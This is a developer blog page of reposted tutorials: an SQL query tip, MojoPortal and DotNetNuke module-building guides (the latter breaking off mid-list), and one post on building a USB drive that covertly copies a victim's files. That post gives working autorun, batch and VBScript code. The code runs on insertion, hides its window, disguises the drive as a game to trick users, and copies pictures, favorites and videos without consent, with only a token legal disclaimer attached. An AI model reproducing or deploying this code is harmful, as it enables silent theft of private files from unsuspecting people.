Find Second Largest Number In Sql Table

February 13, 2014gurupathi Leave a comment

Find Second Largest Number In Sql Table (With Group By):

SELECT MAX(CommentID),Comment FROM RIAComment WHERE CommentID NOT IN (SELECT MAX(CommentID) FROM RIAComment GROUP BY Comment )
GROUP BY Comment

Create New Module in Mojoportal

January 22, 2014January 22, 2014gurupathi Leave a comment

MojoPortal is an open-source content management platform that we have started using at StrongEye because it offers an extensive out of the box starting point for ASP.NET Web applications, and also because it is incredibly developer-friendly.

UPDATE: For most common Web site tasks, you probably can go very far in MojoPortal without having to create custom code. These steps are advanced and for developers who want to create new functionality that cannot be accomplished with the existing feature set that comes out-of-the-box with MojoPortal.

One of the first tasks that a developer needs to do to get started with MojoPortal is to create a module. Basically a module is a starting point for a 100% custom application. The module is the shim that plugs in to MojoPortal proper, and allows you to include a entry point to your application in context of the portal.

I have found the documentation to be great on the MojoPortal site, but there are lots of small details that are hidden inside tutorial videos and elsewhere. This post is an attempt to bring all these things into one place so you can get started.

UPDATE: This post is updated to include a bit more context than before. Before you begin step 1, you must first have a local copy of MojoPortal loaded from SVN per instructions here (note: this links to Windows instructions as that is my bias, Linux SVN instructions are here).

Once you have all the Mojoportal source code loaded locally, you need to set up you VS Solution. The simplest way to do this is to copy an existing .sln file from the code you just got from SVN and rename it so that it will not be overwritten when you do new updates from SVN to get newer versions in the future.

For the purpose of this entry, I am going to make a copy of “mojoportal_mssql_only.sln” and I’ll rename it ‘mojoportal-localdev_mssql_only.sln’. Then I’ll open this file in Visual Studio. Getting the initial project to run locally is beyond the scope of this article, though this is something that you must have working before any of the steps below will work.

How to create a MojoPortal module

Step 1: Create the 3 initial projects

Category	Steps	Notes
Create UI project	Create a new ASP.NET Web Application [yourProject].UIDelete or rename the auto-generated Default.aspx file so it does not get copied to the portal by mistake. Create subfolders in your Web project for your controls and asp.net pages: /[yourProject]/ /[yourProject]/Controls/ Create a subfolder from the root of your Web project called “Setup: /Setup/	NOTE: don’t create a new Web Site; what we want is a new Web Application.Right click Solution root > Add > New Project > ASP.NET Web Application Creating contents inside “Setup” is outside the scope of this article. See the developer documentation here for details on how to use the Setup system.
Create Business Layer project	Create a new Class Library project [yourProject].Business
Create Data Layer project	Create a new Class Library project [yourProject].DataRename your .Data project to [yourProject].Data.MSSQL (or whatever db you are using). By naming it .Data initially, Visual Studio sets the target assembly name to .Data, renaming the project does not cause this to change, which is the desired behavior.	All the .Data projects that are variants targeting different database technologies should all compile to the same assembly name so they can be swapped at build time.
Add References in your Web UI project	· Log4net· mojoPortal.Business · mojoPortal.Business.WebHelpers · mojoPortal.Features.UI · mojoPortal.Net · mojoPortal.Web · mojoPortal.Web.Controls · mojoPortal.Web.Editor · mojoPortal.Web.Framework · [yourProject].Business
Add Reference in your [yourProject].Business project	· [yourProject].Data.MSSQL
Add .resx file for localization	Create a standard ASP.NET folder App_GlobalResources.In this folder, add a new .resx file by choosing Add > New Item > Resources file. Give the file a name matching your project name so that it is unique.

Step 2: Make your project mimic mojoPortal.Web enough that it will compile

Category	Steps	Notes
Update Web.Config	Open the Web.config file in mojoPortal.Web and copy the entire <pages> section in to your new [myProject].UIweb.config	This section (<pages>) lives directly under <system.web> … your project may have an auto-generated section already. You can just overwrite the entire thing.
Copy Master Pages	Create a folder in your [myProject].UI project called “App_MasterPages”Copy layout.Master from the WebStore.UI subfolder (this is preferable because it is a subset of the entire master page and it’s all that you need to develop). You can also simply copy the entire “App_MasterPages” folder fromWebStore.UI (NOTE: NOT mojoPortal.Web! Important to use the folder from WebStore.UI instead!)	This gives your aspx pages the correct content placeholders when you develop your feature.

Step 3: Create your Module

The Module is an .ascx control that inherits from SiteModuleControl and creates the instance-specific entry point from the portal into your custom code. From this entry point, you may also have many other pages that are custom aspx pages that use the portal master page.

These steps rely on code generated by CodeSmith, which provides a free version on their site (here)

Category	Steps	Notes
Create Module ascx	In the folder created earlier in [yourProject].UI/[yourProject]/ Right click and create a new Web User Control (.ascx) called [yourProject]Module.ascx
Generate ascx from CodeSmith template	Open CodeSmith Studio. In Template Explorer, open the folder “Codesmith4x” found in\mojoportal\CodeSmith Templates\ Find the template called Mp_UI-starter_ModuleControlGenerator.cst Right click and choose “Execute” A dialog will open prompting you for values. Here is what to choose: Author: [your name] BusinessLayerNameSpace: [yourProject].Business ControlName: [yourModuleControlName] FeatureName: [yourProject] UINameSpace: [yourProject].UI Click “Generate”	The result of the generated code includes both control UI code and code-behind c# code. You will need to highlight each section separately to cut and paste.
Cut and paste back into your Module	Select the code beginning with comments// Author: [yourname] To the end. This is the code behind that goes in [yourModule]Module.ascx.cs Open [yourModule]Module.ascx.cs and replace all the code with the copied code. Save. Return to the generated Codesmith resulting code. In the .ascx source section, highlight ONLY the single line beginning with <%@ Control … %> Copy that and paste over the Source in your [yourModule]Module.ascx file. Save. Copy the remaining code between <%@ Control … %> and the code behind c# code comments from CodeSmith into your ascx source. Save.	The sequence and steps are designed here to work around a Visual Studio problem in which the “TitleControl” is not found.If you simply copy and paste everything all at once instead of following these steps, you may see the error: “The name ‘TitleControl’ does not exist in the current context” even though the control is there. As long as these conditions are true, you should not see that message: – You have the proper MojoPortal references set – You have updated the <pages> section in Web.config – You copy and paste the CodeSmith output in the correct sequence and Save in between steps.

Step 3: Add post-build logic to your Web project

This step integrates your code with mojoPortal with each successful build, so you can run the code and see it in context.

Category	Steps	Notes
Open the Properties of your .UI project	Right click on [yourProject].UI in Visual Studio Solution Explorer, choose “Properties”. Navigate to the Build Events tab.
Add Post-build event command line instructions to your .UI project	The purpose of this section is so that your code from your UI project will be automatically copied into the mojoportal project with each build. If you haven’t used these, $(ProjectDir) and $(SolutionDir) are macros that Visual Studio recognizes. For more info about post-build events,see this article.Copy the commands below into the text box labeled “Post-build event command line:” and replace XXX with your project path names and YYY with your project names: xcopy /s /y “$(ProjectDir)bin\YYY.UI.dll” “$(SolutionDir)Web\bin\” xcopy /s /y “$(ProjectDir)bin\YYY.Business.dll” “$(SolutionDir)Web\bin\” xcopy /s /y “$(ProjectDir)bin\YYY.Data.dll” “$(SolutionDir)Web\bin\” xcopy /s /y “$(ProjectDir)XXX\.ashx” “$(SolutionDir)Web\XXX\” xcopy /s /y “$(ProjectDir)XXX\.ascx” “$(SolutionDir)Web\XXX\” xcopy /s /y “$(ProjectDir)XXX\.aspx” “$(SolutionDir)Web\XXX\” xcopy /s /y “$(ProjectDir)XXX\Controls\.ascx” “$(SolutionDir)Web\XXX\Controls\” xcopy /s /y “$(ProjectDir)App_GlobalResources\.resx” “$(SolutionDir)Web\App_GlobalResources\” xcopy /s /y “$(ProjectDir)Setup\” “$(SolutionDir)Web\Setup” Save after you have replaced the paths, right click your Web project and choose Properties. In the Build Events tab, click the Edit Post-build… button and you can paste this there.
Install your feature using the MojoPortal Administration tools	After you build your project, log in to MojoPortal as Administrator and navigate to this location: Administration > Advanced Tools > Feature Installation / ConfigurationYou will see a list of all installed features, scroll down and click Add New Feature. On the new page, enter your module entry point path in Control Source. You may also choose resource files, icons, and other options here. Click Update. You may now add your new feature to a page.

After the steps above are completed, with my project, here is my solution structure in Visual Studio:

How to make flash drive that copy’s users files silently and automatically

January 20, 2014gurupathi Leave a comment

****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************

How to build a simple five file usb drive that copy’s current user’s favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed

Let me first say this is my first instructable… so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb– $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better… just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create autorun file for the flash drive

Picture of Create autorun file for the flash drive

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it… like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted… this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the file for copy of documents to drive

Picture of Make the file for copy of documents to drive

This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy’s them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% “%USERPROFILE%\music” “%drive%\all\music”

very clever huh

Step 4: Make vb script to run batch file as invisible

Picture of Make vb script to run batch file as invisible

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.

______________________________________________________________

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

______________________________________________________________

Step 5: Make a batch file to launch vb script and file.batch

Picture of make a batch file to launch vb script and file.batch

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file…. neat huh.
create with word and save as launch.bat

____________________________

wscript.exe \invisible.vbs file.bat

____________________________

Step 6: Create folder to save files withing thumb drive.

Picture of Create folder to save files withing thumb drive.

Go to the root of the thumb drive and create a folder named all that’s it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put all files in root of drive and try out

Picture of put all files in root of drive and try out

Now if you have not put all the files in the root of the flash drive it’s time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking

Creating a Dotnetnuke Module

January 8, 2014January 9, 2014gurupathi Leave a comment

Introduction

This article explains in detail the process of creating a DotNetNuke module.

Requirements

To use this tutorial, you need:

Visual Studio Express (download here)
SQL Server Express (download here)
DotNetNuke Starter Kit 4.x (download here)Note: When you download it, it may change the file extension to “.zip“. After downloading, change this to “.vsi“, and then you can double-click on the file to install the templates.

Note: Do not attempt to create modules on a production installation of DotNetNuke; trust me, you will invariably screw up the installation and will have to restore the database or re-install.

Setup

Install Visual Studio Express if you haven’t already done so (download here).
Install SQL Server Express if you haven’t already done so (download here).
Follow the directions here to install the DotNetNuke Starter Kit and to create a DotNetNuke website.

Very important: Click once on the root directory in the Solution Explorer window. Doing so will ensure that the starter module code is created in the proper place.

Select File from the toolbar, then New File:

On the next menu, click once on DotNetNuke Module (under My Templates), select “Visual Basic” from the Languagedropdown, type “GuestBook.” in the Name box, and click Add.

I interrupt this tutorial for an important warning:

Note: If the files DataProvider.vb, GuestBookController.vb, GuestBookInfo.vb, and SqlDataProvider.vb in the “ModuleName” directory are under “DesktopModules/App_Code” then they are in the wrong place.

Click on the “ModuleName” folder and drag it under the “App_Code” directory that is directly under the main root of the website. You will also have to move the “DesktopModules/ModuleName” folder and drag the “ModuleName” folder so it is under the “DesktopModules” folder that is directly under the main root of the website.

This is the correct way it should look:

Now back to the tutorial:

A very helpful help page comes up and instructs you to rename /App_Code/ModuleName to /App_Code/GuestBook, and rename /DesktopModules/ModuleName to /DesktopModules/GuestBook.

Make the changes by right-clicking the folder name in the Solutions Explorer and selecting Rename from the menu. You have to do this twice. Once for the folder under “App_Code“, and then for the folder under “DesktopModules“.

Now, from the toolbar, select Build, then Build Web Site:

The website should build without errors.

In the Solution Explorer, right-click on “Default.aspx” and select Set As Start Page:

From the toolbar, select Debug, then Start Without Debugging.

(You may wonder why I am not covering debugging. While creating this tutorial, I ran into permission problems on my own machine. They are easily fixed but I wanted to avoid any unneeded complexity. If you need help debugging, see this post.)

The website should now come up.

Click Login:

Click on the HOST menu and select SQL

The form will display.

Switch back to Visual Studio and in the Solution Explorer. Double-click on “01.00.00.SqlDataProvider” in the “DestopModules/GuestBook” directory so that it shows up in the main window.

Click once on the page, then from the toolbar select EDIT then SELECT ALL (Ctrl +A)

Then EDIT and COPY (Ctrl +C).

Switch back to the DotNetNuke website and paste (Ctrl +V) the script you copied into the window, click the “Run as Script” box and click EXECUTE.

From the HOST menu select “Module Definitions”

Click the small down arrow in the upper left hand corner of the Module Definitions menu and select “Create New Module”

Select “GuestBook.dnn” in the Module Manifest drop-down and click Install

Under the Page Functions menu, click Add:

In the Page Details menu:

Enter “Guest Book” for Page Name.
Enter “Guest Book” for Page Title.
Enter “Guest Book” for Description.
Click the View Page box next to All Users.

Then, click Update:

From the Module drop-down, select “GuestBook”:

Then, click Add:

If you get the “Object reference not set to an instance of an object” error, just click on the “Guest Book” link:

(However, if you are running DotNetNuke on a machine that is lower than a Pentium III with 512 KB RAM, then DotNetNuke will regularly throw this error).

The module should now appear:

The Guest Book Module

We will walk through the construction of the Guest Book module in these steps:

Data Access Layer (DAL) – We will create the tables, the stored procedures, and alter code in the “SqlDataProvider.vb” and “DataProvider.vb” files.
Business Logic Layer (BLL) – We will alter code in the “GuestBookController.vb” and “GuestBookInfo.vb” files.
Presentation Layer (UI) – We will alter code in the “ViewGuestBook.ascx“, and in the other files in the “DesktopModules/GuestBook” directory.

Data Access Layer (DAL)

To build the Data Access Layer, we will:

Create the table.
Create the stored procedures.
Alter the SqlDataProvider.vb file. Put the code that calls the stored procedures in the “SqlDataProvider.vb” file.
Alter the DataProvider.vb file. Put the methods (that are overridden by the “SqlDataProvider.vb” file) in the “DataProvider.vb” file.

And that’s it! It’s actually not a lot of code to add to the “SqlDataProvider.vb” and “DataProvider.vb” files. Creating the tables and stored procedures is standard database programming that you are probably already used to.

From: “DotNetNuke Module Developers’ Guide”

Connect To The Database

If you have created your DotNetNuke website using SQL Server 2005 Express, your database connection should already be set up for you. If you set it up using SQL Server 2000 or SQL Server 2005, then you may have to set it up.

To set up a connection to the SQL Server database, from the toolbar, select View, then Server Explorer.

In the Server Explorer, right-click on Data Connections, and select “Add Connection“:

Fill in the connection information, and click OK.

Delete the Sample Database Objects

You now need to delete the table and the stored procedures that the template created so that you can make new ones (that happen to use the same names) that the guestbook will use.

The connection will now show up in the Server Explorer. Click the plus next to the connection to expand it. Next, click the plus icon next to Tables to expand it.

Right click on the table “YourCompany_GuestBook” and select “Delete” and delete the table.

Note: At this point, the module will no longer work in your DotNetNuke web site. It will not work again until you have completed all the steps in this tutorial.

Click the plus icon next to Store Procedures to expand it. One at a time, right-click on the following stored procedures and select “Delete” to delete them. Remember, you have to delete them one at a time.

YourCompany_AddGuestBook
YourCompany_DeleteGuestBook
YourCompany_GetGuestBook
YourCompany_GetGuestBooks
YourCompany_UpdateGuestBook

Create The Table

Log into the DotNetNuke website as Host (if you are not already logged in as Host), and from the Host menu, select SQL.

Paste the following script in the box:

CREATE TABLE [dbo].[YourCompany_GuestBook](
[ID] [int] IDENTITY(1,1) NOT NULL,
[ModuleID] [int] NULL,
[Name] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[Email] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[Message] [nvarchar](250) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[DateEntered] [datetime] NULL,
CONSTRAINT [PK_YourCompany_GuestBook] PRIMARY KEY CLUSTERED 
(
[ID] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

Do not select the “Run as Script” box, and click Execute.

(Note: This is a SQL 2005 script. It will not work in SQL 2000. For SQL 2000, you will have to create the table manually as explained in the next two steps.)

Optionally, you can create the table in the table designer in Visual Web Developer. In the Server Explorer, right-click onTables and select Add New Table:

Design the table in the table designer using the graphics below. Make the “ID” column an “identity” column and also set it as the primary key. Save it as “YourCompany_GuestBook“.

Create the Stored Procedures

Log into the DotNetNuke website as Host (if you are not already logged in as Host), and from the Host menu, select SQL.

Paste the following script in the box:

CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Delete] 
(
@ID int
)
AS
DELETE FROM {objectQualifier}YourCompany_GuestBook
WHERE (ID = @ID)
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_GetAll] 
(
@ModuleID int 
)
AS
SELECT ID, ModuleID, Name, Email, Message, DateEntered
FROM {objectQualifier}YourCompany_GuestBook
WHERE (ModuleID = @ModuleID)
order by DateEntered DESC
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Insert] 
(
@ModuleID int,
@Name nvarchar(50),
@Email nvarchar(50),
@Message nvarchar(250)
)
AS
INSERT INTO {objectQualifier}YourCompany_GuestBook
(ModuleID, Name, Email, Message, DateEntered)
VALUES (@ModuleID,@Name,@Email,@Message,getdate())
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Update] 
(
@ID int,
@Name nvarchar(50),
@Email nvarchar(50), 
@Message nvarchar(250),
@DateEntered datetime
)
AS
UPDATE {objectQualifier}YourCompany_GuestBook
SET Name = @Name, Email = @Email, 
    Message = @Message, DateEntered = @DateEntered
WHERE (ID = @ID)
RETURN
GO

Select the Run as Script box, and click Execute:

Verify that the stored procedures have been created. Switch back to Visual Studio, and select View from the toolbar and Server Explorer:

On the “Server Explorer” window, right-click on Stored Procedures and select Refresh:

Scroll down the list of stored procedures and verify that these stored procedures have been created:

YourCompany_GuestBook_Delete
YourCompany_GuestBook_GetAll
YourCompany_GuestBook_Insert
YourCompany_GuestBook_Update

Alter the “SqlDataProvider.vb” file. In Visual Studio, select View from the toolbar and “Solution Explorer“:

In the “Solution Explorer” window, expand the “GuestBook” directory under the “App_code” folder and double-click on the “SqlDataprovider.vb” file:

Replace all the code with:

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports Microsoft.ApplicationBlocks.Data
Imports DotNetNuke.Common.Utilities
Imports DotNetNuke.Framework.Providers

Namespace YourCompany.Modules.GuestBook

Public Class SqlDataProvider Inherits DataProvider

    Private Const ProviderType As String = "data"
    Private Const ModuleQualifier As String = ""
    Private _providerConfiguration As _
      ProviderConfiguration = _
      ProviderConfiguration.GetProviderConfiguration(ProviderType)
    Private _connectionString As String
    Private _providerPath As String
    Private _objectQualifier As String
    Private _databaseOwner As String

    ' <summary>
    ' Constructs new SqlDataProvider instance
    ' </summary>
    Public Sub New()
        MyBase.New()
        'Read the configuration specific information for this provider
        Dim objProvider As Provider = CType(_providerConfiguration._
            Providers(_providerConfiguration.DefaultProvider), Provider)

        'Read the attributes for this provider
        If ((objProvider.Attributes("connectionStringName") <> "") _
                AndAlso (System.Configuration.ConfigurationManager._
                AppSettings(objProvider.Attributes(_
                "connectionStringName")) <> "")) Then
            connectionString = System.Configuration._
                ConfigurationManager.AppSettings(_
                objProvider.Attributes("connectionStringName"))
        Else
            _connectionString = _
              objProvider.Attributes("connectionString")
        End If

        _providerPath = objProvider.Attributes("providerPath")
        _objectQualifier = objProvider.Attributes("objectQualifier")

        If ((_objectQualifier <> "") _
               AndAlso (_objectQualifier.EndsWith("_") _
               = False)) Then
            _objectQualifier = (_objectQualifier + "_")
        End If

        _databaseOwner = objProvider.Attributes("databaseOwner")

        If ((_databaseOwner <> "") _
                   AndAlso (_databaseOwner.EndsWith(_
                   ".") = False)) Then
        _databaseOwner = (_databaseOwner + ".")
        End If
    End Sub

    ' <summary>
    ' Gets and sets the connection string
    ' </summary>
    Public ReadOnly Property ConnectionString() As String
        Get
            Return _connectionString
        End Get
    End Property

    ' <summary>
    ' Gets and sets the Provider path
    ' </summary>
    Public ReadOnly Property ProviderPath() As String
        Get
            Return _providerPath
        End Get
    End Property

    ' <summary>
    ' Gets and sets the Object qualifier
    ' </summary>
    Public ReadOnly Property ObjectQualifier() As String
        Get
            Return _objectQualifier
        End Get
    End Property

    ' <summary>
    ' Gets and sets the database ownere
    ' </summary>
    Public ReadOnly Property DatabaseOwner() As String
        Get
            Return _databaseOwner
        End Get
    End Property

    ' --------------------------------------------------
    ' <summary>
    ' Gets the fully qualified name
    ' of the stored procedure
    ' </summary>
    ' <param name="name">The name
    ' of the stored procedure</param>
    ' <returns>The fully qualified name</returns>
    ' --------------------------------------------------
    Private Function GetFullyQualifiedName(ByVal _
                 name As String) As String
        Return (DatabaseOwner _
            + (ObjectQualifier _
            + (ModuleQualifier + name)))
    End Function

    ' --------------------------------------------------
    ' <summary>
    ' Gets the value for the field or DbNull
    ' if field has "null" value
    ' </summary>
    ' <param name="Field">The field to evaluate</param>
    ' <returns></returns>
    ' --------------------------------------------------
    Private Function GetNull(ByVal Field As Object) As Object
        Return Null.GetNull(Field, DBNull.Value)
    End Function

    Public Overrides Sub YourCompany_GuestBook_Insert(ByVal _
           ModuleId As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message As String)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
          GetFullyQualifiedName("YourCompany_GuestBook_Insert"), _
          ModuleId, Name, Email, Message)
    End Sub

    Public Overrides Sub _
           YourCompany_GuestBook_Delete(ByVal ID As Integer)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
           GetFullyQualifiedName("YourCompany_GuestBook_Delete"), ID)
    End Sub

    Public Overrides Function YourCompany_GuestBook_GetAll _
           (ByVal ModuleId As Integer) As IDataReader
        Return CType(SqlHelper.ExecuteReader(ConnectionString, _
               GetFullyQualifiedName("YourCompany_GuestBook_GetAll"), _
               ModuleId), IDataReader)
    End Function

    Public Overrides Sub YourCompany_GuestBook_Update(ByVal ID _
           As Integer, ByVal Name As String, ByVal Email As _
           String, ByVal Message As String, _
           ByVal DateEntered As DateTime)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
           GetFullyQualifiedName("YourCompany_GuestBook_Update"), _
           ID, Name, Email, Message, DateEntered)
    End Sub
End Class
End Namespace

You will notice that you will see errors such as:

Collapse | Copy Code

"'YourCompany_GuestBook_Insert' cannot be declared 
  'Overrides' because it does not override a sub in a base class"

This is because the “DataProvider.vb” must indicate the methods that the “SqlDataProvider.vb” overrides. When we place those methods in the “DataProvider.vb” file, the errors will go away.

Alter the “DataProvider.vb” file. In the Solution Explorer, in the “GuestBook” directory under the “App_code” folder, double-click on the “DataProvider.vb” file.

Replace all the code with:

Imports System
Imports DotNetNuke
Imports System.Data
Imports DotNetNuke.Framework
Namespace YourCompany.Modules.GuestBook

Public MustInherit Class DataProvider
    ' singleton reference to the instantiated object
    Private Shared objProvider As DataProvider = Nothing

    ' constructor
    Shared Sub New()
    CreateProvider()
    End Sub

    ' dynamically create provider
    Private Shared Sub CreateProvider()
    objProvider = CType(Reflection.CreateObject("data", _
                  "YourCompany.Modules.GuestBook", _
                  ""), DataProvider)
    End Sub

    ' return the provider
    Public Shared Function Instance() As DataProvider
        Return objProvider
    End Function

    Public MustOverride Sub YourCompany_GuestBook_Insert(ByVal _
           ModuleId As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message As String)
    Public MustOverride Function _
           YourCompany_GuestBook_GetAll(ByVal ModuleId _
           As Integer) As IDataReader
    Public MustOverride Sub YourCompany_GuestBook_Update(ByVal _
           ID As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message _
           As String, ByVal DateEntered As DateTime)
    Public MustOverride Sub _
        YourCompany_GuestBook_Delete(ByVal ID As Integer)
End Class
End Namespace

Switch back to the “SqlDataprovider.vb” file and notice all the error messages are gone. Now would be a good time to save (Ctrl + Shift + S).

Review

Data Access Layer (DAL) (Done)
Business Logic Layer (BLL)
Presentation Layer (UI)

We are done with the Data Access Layer. We will now program the Business Logic Layer. The Business Logic Layer will get done fast because it is only two files: a simple class file to hold our data, and a “controller” file that will fill the class file with data as well as handle inserting and deleting data.

The Business Logic Layer (BLL)

To build the Business Logic Layer, we will:

Alter “GuestBookInfo.vb“
Alter “GuestBookController.vb“

And that’s it! This is the step that is usually the hardest for beginners to understand but is really not that complicated. However, ASP.NET 2.0 does provide a major reduction of code over the ASP.NET 1.1 version.

Alter the “GuestBookInfo.vb” file

In Visual Studio, select View from the toolbar and the “Solution Explorer“:

In the Solution Explorer window, expand the “GuestBook” directory under the “App_code” folder, and double-click on the “GuestBookInfo.vb” file:

Replace every single line of code in the file with this code:

Imports System
Imports System.Configuration
Imports System.Data
Namespace YourCompany.Modules.GuestBook

Public Class GuestBookInfo
    Private _ModuleId As Integer
    Private _ID As Integer
    Private _Name As String
    Private _Email As String
    Private _Message As String
    Private _DateEntered As DateTime

    ' initialization
    Public Sub New()
      MyBase.New()
    End Sub

    ' <summary>
    ' Gets and sets the Module Id
    ' </summary>
    Public Property ModuleId() As Integer
     Get
      Return _ModuleId
     End Get
    Set(ByVal value As Integer)
      _ModuleId = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Item ID
    ' </summary>
    Public Property ID() As Integer
     Get
      Return _ID
     End Get
     Set(ByVal value As Integer)
      _ID = value
     End Set
    End Property

    ' <summary>
    ' gets and sets the Name
    ' </summary>
    Public Property Name() As String
     Get
      Return _Name
     End Get
     Set(ByVal value As String)
      _Name = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Email
    ' </summary>
    Public Property Email() As String
     Get
      Return _Email
     End Get
     Set(ByVal value As String)
      _Email = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Message
    ' </summary>
    Public Property Message() As String
     Get
      Return _Message
     End Get
     Set(ByVal value As String)
      _Message = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the DateEntered
    ' </summary>
    Public Property DateEntered() As DateTime
     Get
      Return _DateEntered
     End Get
     Set(ByVal value As DateTime)
      _DateEntered = value
     End Set
    End Property
End Class
End Namespace

Alter the “GuestBookController.vb” file

In Visual Studio, select View from the toolbar and the “Solution Explorer“.

In the Solution Explorer window, expand the “GuestBook” directory under the “App_code” folder, and double-click on the “GuestBookController.vb” file:

Replace every single line of code in the file with this code:

Imports System
Imports System.Collections.Generic
Imports System.Configuration
Imports System.ComponentModel
Imports System.Data
Imports System.Xml
Imports System.Web
Imports DotNetNuke
Imports DotNetNuke.Common
Imports DotNetNuke.Common.Utilities
Imports DotNetNuke.Entities.Modules
Imports DotNetNuke.Services.Search

Namespace YourCompany.Modules.GuestBook
 Public Class GuestBookController

  <DataObjectMethod(DataObjectMethodType.Insert)> _
  Public Shared Sub GuestBook_Insert(_
         ByVal objTest As GuestBookInfo)
    DataProvider.Instance.YourCompany_GuestBook_Insert(_
      objTest.ModuleId, objTest.Name, _
      objTest.Email, objTest.Message)
  End Sub

  <DataObjectMethod(DataObjectMethodType.Delete)> _
  Public Shared Sub GuestBook_Delete(ByVal _
                objTest As GuestBookInfo)
    DataProvider.Instance._
      YourCompany_GuestBook_Delete(objTest.ID)
  End Sub

  <DataObjectMethod(DataObjectMethodType.Select)> _
  Public Shared Function GuestBook_GetAll(_
         ByVal ModuleId As Integer) _
         As List(Of GuestBookInfo)
    Return CBO.FillCollection(Of GuestBookInfo)_
           (DataProvider.Instance()._
           YourCompany_GuestBook_GetAll(ModuleId))
  End Function

  <DataObjectMethod(DataObjectMethodType.Update)> _
  Public Shared Sub GuestBook_Update(ByVal _
                    objTest As GuestBookInfo)
    DataProvider.Instance._
        YourCompany_GuestBook_Update(objTest.ID, _
        objTest.Name, objTest.Email, _
        objTest.Message, objTest.DateEntered)
  End Sub

 End Class
End Namespace

Review

Data Access Layer (DAL) (Done)
Business Logic Layer (BLL) (Done)
Presentation Layer (UI)

We are done with the Business Logic Layer.

What did we just do?

The “GuestBookInfo.vb” was created. This is just a simple class file. It will hold the data.

The “GuestBookController.vb” was created. This class has four methods:

GuestBook_Insert
- Inserts items into the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameters (module ID, name, email, message) to the “YourCompany_GuestBook_Insert” method in the DataProvider.vb file.
GuestBook_Delete
- Deletes items from the database. You pass a “GuestBookInfo” object to this method. The method then opens up the object and passes the individual parameter (ID) to the “YourCompany_GuestBook_Delete” method in the DataProvider.vb file.
GuestBook_GetAll
- Gets a recordset from the database. You pass a “ModuleId” parameter to this method. The method calls the “YourCompany_GuestBook_GetAll” method in the DataProvider.vb file and returns a “GuestBookInfo” object filled with data.
GuestBook_Update
